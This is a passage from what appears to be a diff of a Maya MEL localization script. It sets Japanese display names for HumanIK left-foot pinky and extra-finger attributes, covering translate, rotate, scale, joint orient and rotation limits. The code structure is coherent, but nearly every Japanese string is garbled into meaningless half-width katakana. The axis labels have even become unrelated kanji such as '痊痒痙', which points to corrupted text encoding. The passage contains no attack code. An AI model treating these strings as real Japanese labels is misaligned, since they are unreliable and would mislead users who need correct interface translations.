ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2JointOrienty", "ラスナミ。ヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2JointOrientz", "ラスナミ。ヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimit", "ラスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitx", "ラスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimity", "ラスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitz", "ラスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimit", "ラスナミ。ヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitx", "ラスナミ。ヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimity", "ラスナミ。ヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitz", "ラスナミ。ヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitEnablex", "ニモテラスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitEnabley", "ニモテラスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MinRLimitEnablez", "ニモテラスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitEnablex", "ニモテラスナミ。ヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitEnabley", "ニモテラスナミ。ヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky2MaxRLimitEnablez", "ニモテラスナミ。ヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3", "ラスナミ。ヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3T", "ラスナミ。ヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Tx", "ラスナミ。ヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Ty", "ラスナミ。ヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Tz", "ラスナミ。ヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3R", "ラスナミ。ヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Rx", "ラスナミ。ヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Ry", "ラスナミ。ヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Rz", "ラスナミ。ヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3S", "ラスナミ。ヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Sx", "ラスナミ。ヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Sy", "ラスナミ。ヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3Sz", "ラスナミ。ヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", "ラスナミ。ヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateAxis", "ラスナミ。ヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateAxisx", "ラスナミ。ヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateAxisy", "ラスナミ。ヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3RotateAxisz", "ラスナミ。ヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3JointOrient", "ラスナミ。ヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3JointOrientx", "ラスナミ。ヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3JointOrienty", "ラスナミ。ヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3JointOrientz", "ラスナミ。ヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimit", "ラスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitx", "ラスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimity", "ラスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitz", "ラスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimit", "ラスナミ。ヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitx", "ラスナミ。ヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimity", "ラスナミ。ヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitz", "ラスナミ。ヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitEnablex", "ニモテラスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitEnabley", "ニモテラスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MinRLimitEnablez", "ニモテラスナミ。ヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitEnablex", "ニモテラスナミ。ヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitEnabley", "ニモテラスナミ。ヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky3MaxRLimitEnablez", "ニモテラスナミ。ヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4", "ラスナミ。ヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4T", "ラスナミ。ヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Tx", "ラスナミ。ヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Ty", "ラスナミ。ヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Tz", "ラスナミ。ヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4R", "ラスナミ。ヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Rx", "ラスナミ。ヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Ry", "ラスナミ。ヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Rz", "ラスナミ。ヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4S", "ラスナミ。ヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Sx", "ラスナミ。ヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Sy", "ラスナミ。ヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4Sz", "ラスナミ。ヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", "ラスナミ。ヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateAxis", "ラスナミ。ヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateAxisx", "ラスナミ。ヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateAxisy", "ラスナミ。ヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4RotateAxisz", "ラスナミ。ヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4JointOrient", "ラスナミ。ヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4JointOrientx", "ラスナミ。ヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4JointOrienty", "ラスナミ。ヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4JointOrientz", "ラスナミ。ヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimit", "ラスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitx", "ラスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimity", "ラスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitz", "ラスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimit", "ラスナミ。ヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitx", "ラスナミ。ヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimity", "ラスナミ。ヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitz", "ラスナミ。ヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitEnablex", "ニモテラスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitEnabley", "ニモテラスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MinRLimitEnablez", "ニモテラスナミ。ヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitEnablex", "ニモテラスナミ。ヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitEnabley", "ニモテラスナミ。ヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootPinky4MaxRLimitEnablez", "ニモテラスナミ。ヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1", "ラスナチヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1T", "ラスナチヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Tx", "ラスナチヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Ty", "ラスナチヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Tz", "ラスナチヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1R", "ラスナチヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Rx", "ラスナチヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Ry", "ラスナチヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Rz", "ラスナチヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1S", "ラスナチヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Sx", "ラスナチヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Sy", "ラスナチヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1Sz", "ラスナチヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", "ラスナチヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateAxis", "ラスナチヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateAxisx", "ラスナチヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateAxisy", "ラスナチヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateAxisz", "ラスナチヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1JointOrient", "ラスナチヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1JointOrientx", "ラスナチヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1JointOrienty", "ラスナチヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1JointOrientz", "ラスナチヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimit", "ラスナチヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitx", "ラスナチヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimity", "ラスナチヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitz", "ラスナチヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimit", "ラスナチヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitx", "ラスナチヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimity", "ラスナチヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitz", "ラスナチヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitEnablex", "ニモテラスナチヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitEnabley", "ニモテラスナチヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MinRLimitEnablez", "ニモテラスナチヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitEnablex", "ニモテラスナチヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitEnabley", "ニモテラスナチヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger1MaxRLimitEnablez", "ニモテラスナチヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2", "ラスナチヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2T", "ラスナチヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Tx", "ラスナチヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Ty", "ラスナチヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Tz", "ラスナチヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2R", "ラスナチヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Rx", "ラスナチヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Ry", "ラスナチヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Rz", "ラスナチヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2S", "ラスナチヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Sx", "ラスナチヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Sy", "ラスナチヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2Sz", "ラスナチヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", "ラスナチヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateAxis", "ラスナチヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateAxisx", "ラスナチヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateAxisy", "ラスナチヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateAxisz", "ラスナチヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2JointOrient", "ラスナチヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2JointOrientx", "ラスナチヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2JointOrienty", "ラスナチヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2JointOrientz", "ラスナチヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimit", "ラスナチヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitx", "ラスナチヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimity", "ラスナチヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitz", "ラスナチヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimit", "ラスナチヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitx", "ラスナチヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimity", "ラスナチヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitz", "ラスナチヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitEnablex", "ニモテラスナチヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitEnabley", "ニモテラスナチヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MinRLimitEnablez", "ニモテラスナチヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitEnablex", "ニモテラスナチヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitEnabley", "ニモテラスナチヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger2MaxRLimitEnablez", "ニモテラスナチヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3", "ラスナチヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3T", "ラスナチヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Tx", "ラスナチヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Ty", "ラスナチヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Tz", "ラスナチヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3R", "ラスナチヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Rx", "ラスナチヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Ry", "ラスナチヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Rz", "ラスナチヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3S", "ラスナチヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Sx", "ラスナチヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Sy", "ラスナチヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3Sz", "ラスナチヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", "ラスナチヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateAxis", "ラスナチヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateAxisx", "ラスナチヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateAxisy", "ラスナチヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateAxisz", "ラスナチヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3JointOrient", "ラスナチヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3JointOrientx", "ラスナチヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3JointOrienty", "ラスナチヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3JointOrientz", "ラスナチヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimit", "ラスナチヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitx", "ラスナチヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimity", "ラスナチヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitz", "ラスナチヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimit", "ラスナチヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitx", "ラスナチヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimity", "ラスナチヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitz", "ラスナチヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitEnablex", "ニモテラスナチヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitEnabley", "ニモテラスナチヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MinRLimitEnablez", "ニモテラスナチヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitEnablex", "ニモテラスナチヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitEnabley", "ニモテラスナチヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger3MaxRLimitEnablez", "ニモテラスナチヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4", "ラスナチヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4T", "ラスナチヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Tx", "ラスナチヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Ty", "ラスナチヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Tz", "ラスナチヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4R", "ラスナチヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Rx", "ラスナチヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Ry", "ラスナチヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Rz", "ラスナチヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4S", "ラスナチヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Sx", "ラスナチヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Sy", "ラスナチヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4Sz", "ラスナチヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", "ラスナチヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateAxis", "ラスナチヨコ 4 ミラェヨ" ); 